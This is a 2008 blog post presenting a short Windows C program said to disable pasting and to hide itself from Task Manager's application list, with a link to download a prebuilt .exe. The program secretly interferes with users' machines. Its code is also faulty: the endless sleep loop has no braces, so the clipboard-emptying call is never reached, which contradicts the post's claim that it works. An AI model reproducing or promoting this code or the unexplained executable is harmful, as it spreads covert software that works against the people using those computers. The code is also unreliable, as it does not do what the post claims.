<p>Here is a simple &#8220;C&#8221; code that i wrote to disable paste option.It will be very useful in educational institutions for administrators:)It also hides itself from task manager applications running list.Here is the code.<br />
<code><br />
</code></p>
<blockquote><p><code>/* coded by sham*/</p>
<pre name="code" class="cpp">
/* To "disable Paste" option in windows*/
/*clipboard will be present at system 32 folder*/</code>

#include&lt;windows.h&gt;

#include &lt;stdio.h&gt;

void sleep(int);

int main()
{
OpenClipboard(GetForegroundWindow());/*opening clipboard,a win32 API.*/
ShowWindow(GetForegroundWindow(),SW_HIDE);/*To hide itself,a win32 API.*/
while(1)
sleep(100);
EmptyClipboard();/*empty the clipboard,a win32 API*/
}</blockquote>
</pre>
<p>Save with .c extension and compile it .You need a 32-bit compiler like Devc and visual C++.</p>
<p>Run the exe generated ,you will not be able to copy and paste any thing!!try:)</p>
<p>Happy coding!</p>
<p>Download the .exe here</p>
<p><a href="http://whereismycabin.googlepages.com/disablepaste.exe"><img src="http://whereismycabin.googlepages.com/downloadimages.jpg" alt="downloadimages Disable paste option   C code" width="58" height="58" title="Disable paste option   C code" /></a></p>
<hr/>Copyright &copy; 2010 <strong><a href="http://technobuz.com">Technobuz</a></strong>. This Feed is for personal non-commercial use only. If you are not reading this material in your news aggregator, the site you are looking at is guilty of copyright infringement. Please contact legal@technobuz.com so we can take legal action immediately.<br/><span style="float: right;font-size: 7pt"><a href="http://blog.taragana.com/index.php/archive/wordpress-plugins-provided-by-taraganacom/">Plugin</a> by <a href="http://www.taragana.com/">Taragana</a></span>

<!-- Begin SexyBookmarks Menu Code -->
<div class="sexy-bookmarks sexy-bookmarks-expand sexy-bookmarks-center sexy-bookmarks-bg-love">
<ul class="socials">
		<li class="sexy-delicious">
			<a href="http://delicious.com/post?url=http://technobuz.com/2008/12/disable-paste-option-using-c-code/&amp;title=Disable+paste+option+-+%27C%27+code" rel="nofollow" class="external" title="Share this on del.icio.us">Share this on del.icio.us</a>
		</li>
		<li class="sexy-digg">
			<a href="http://digg.com/submit?phase=2&amp;url=http://technobuz.com/2008/12/disable-paste-option-using-c-code/&amp;title=Disable+paste+option+-+%27C%27+code" rel="nofollow" class="external" title="Digg this!">Digg this!</a>
		</li>
		<li class="sexy-stumbleupon">
			<a href="http://www.stumbleupon.com/submit?url=http://technobuz.com/2008/12/disable-paste-option-using-c-code/&amp;title=Disable+paste+option+-+%27C%27+code" rel="nofollow" class="external" title="Stumble upon something good? Share it on StumbleUpon">Stumble upon something good? Share it on StumbleUpon</a>
		</li>
		<li class="sexy-technorati">
			<a href="http://technorati.com/faves?add=http://technobuz.com/2008/12/disable-paste-option-using-c-code/" rel="nofollow" class="external" title="Share this on Technorati">Share this on Technorati</a>
		</li>
		<li class="sexy-twitter">
			<a href="http://twitter.com/home?status=Disable+paste+option+-+%27C%27+code+-+http://b2l.me/uvuc3+(via+@shamrocksu88)&amp;source=shareaholic" rel="nofollow" class="external" title="Tweet This!">Tweet This!</a>
		</li>
		<li class="sexy-comfeed">
			<a href="http://technobuz.com/2008/12/disable-paste-option-using-c-code/feed" rel="nofollow" class="external" title="Subscribe to the comments for this post?">Subscribe to the comments for this post?</a>
		</li>
		<li class="sexy-reddit">
			<a href="http://reddit.com/submit?url=http://technobuz.com/2008/12/disable-paste-option-using-c-code/&amp;title=Disable+paste+option+-+%27C%27+code" rel="nofollow" class="external" title="Share this on Reddit">Share this on Reddit</a>
		</li>
		<li class="sexy-linkedin">
			<a href="http://www.linkedin.com/shareArticle?mini=true&amp;url=http://technobuz.com/2008/12/disable-paste-option-using-c-code/&amp;title=Disable+paste+option+-+%27C%27+code&amp;summary=Here%20is%20a%20simple%20%22C%22%20code%20that%20i%20wrote%20to%20disable%20paste%20option.It%20will%20be%20very%20useful%20in%20educational%20institutions%20for%20administrators%3A%29It%20also%20hides%20itself%20from%20task%20manager%20applications%20running%20list.Here%20is%20the%20code.%0D%0A%0D%0A%0D%0A%2F%2A%20coded%20by%20sham%2A%2F%0D%0A%0D%0A%0D%0A%2F%2A%20To%20%22disable%20Paste%22%20option%20in%20windows%2A%2F%0D%0A%2F%2Aclipboard&amp;source=Technobuz" rel="nofollow" class="external" title="Share this on LinkedIn">Share this on LinkedIn</a>
		</li>
		<li class="sexy-googlebookmarks">
			<a href="http://www.google.com/bookmarks/mark?op=add&amp;bkmk=http://technobuz.com/2008/12/disable-paste-option-using-c-code/&amp;title=Disable+paste+option+-+%27C%27+code" rel="nofollow" class="external" title="Add this to Google Bookmarks">Add this to Google Bookmarks</a>
		</li>
		<li class="sexy-tipd">
			<a href="http://tipd.com/submit.php?url=http://technobuz.com/2008/12/disable-paste-option-using-c-code/" rel="nofollow" class="external" title="Share this on Tipd">Share this on Tipd</a>
		</li>
		<li class="sexy-orkut">
			<a href="http://promote.orkut.com/preview?nt=orkut.com&amp;tt=Disable+paste+option+-+%27C%27+code&amp;du=http://technobuz.com/2008/12/disable-paste-option-using-c-code/&amp;cn=Here%20is%20a%20simple%20%22C%22%20code%20that%20i%20wrote%20to%20disable%20paste%20option.It%20will%20be%20very%20useful%20in%20educational%20institutions%20for%20administrators%3A%29It%20also%20hides%20itself%20from%20task%20manager%20applications%20running%20list.Here%20is%20the%20code.%0D%0A%0D%0A%0D%0A%2F%2A%20coded%20by%20sham%2A%2F%0D%0A%0D%0A%0D%0A%2F%2A%20To%20%22disable%20Paste%22%20option%20in%20windows%2A%2F%0D%0A%2F%2Aclipboard" rel="nofollow" class="external" title="Promote this on Orkut">Promote this on Orkut</a>
		</li>
		<li class="sexy-blogger">
			<a href="http://www.blogger.com/blog_this.pyra?t&amp;u=http://technobuz.com/2008/12/disable-paste-option-using-c-code/&amp;n=Disable+paste+option+-+%27C%27+code&amp;pli=1" rel="nofollow" class="external" title="Blog this on Blogger">Blog this on Blogger</a>
		</li>
		<li class="sexy-diigo">
			<a href="http://www.diigo.com/post?url=http://technobuz.com/2008/12/disable-paste-option-using-c-code/&amp;title=Disable+paste+option+-+%27C%27+code&amp;desc=Here%20is%20a%20simple%20%22C%22%20code%20that%20i%20wrote%20to%20disable%20paste%20option.It%20will%20be%20very%20useful%20in%20educational%20institutions%20for%20administrators%3A%29It%20also%20hides%20itself%20from%20task%20manager%20applications%20running%20list.Here%20is%20the%20code.%0D%0A%0D%0A%0D%0A%2F%2A%20coded%20by%20sham%2A%2F%0D%0A%0D%0A%0D%0A%2F%2A%20To%20%22disable%20Paste%22%20option%20in%20windows%2A%2F%0D%0A%2F%2Aclipboard" rel="nofollow" class="external" title="Post this on Diigo">Post this on Diigo</a>
		</li>
		<li class="sexy-mixx">
			<a href="http://www.mixx.com/submit?page_url=http://technobuz.com/2008/12/disable-paste-option-using-c-code/&amp;title=Disable+paste+option+-+%27C%27+code" rel="nofollow" class="external" title="Share this on Mixx">Share this on Mixx</a>
		</li>
		<li class="sexy-googlebuzz">
			<a href="http://www.google.com/buzz/post?url=http://technobuz.com/2008/12/disable-paste-option-using-c-code/&amp;imageurl=" rel="nofollow" class="external" title="Post on Google Buzz">Post on Google Buzz</a>
		</li>
		<li class="sexy-misterwong">
			<a href="http://www.mister-wong.com/addurl/?bm_url=http://technobuz.com/2008/12/disable-paste-option-using-c-code/&amp;bm_description=Disable+paste+option+-+%27C%27+code&amp;plugin=sexybookmarks" rel="nofollow" class="external" title="Add this to Mister Wong">Add this to Mister Wong</a>
		</li>
</ul>
<div style="clear:both;"></div>
</div>
<!-- End SexyBookmarks Menu Code -->

]]></content:encoded>
			<wfw:commentRss>http://technobuz.com/2008/12/disable-paste-option-using-c-code/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
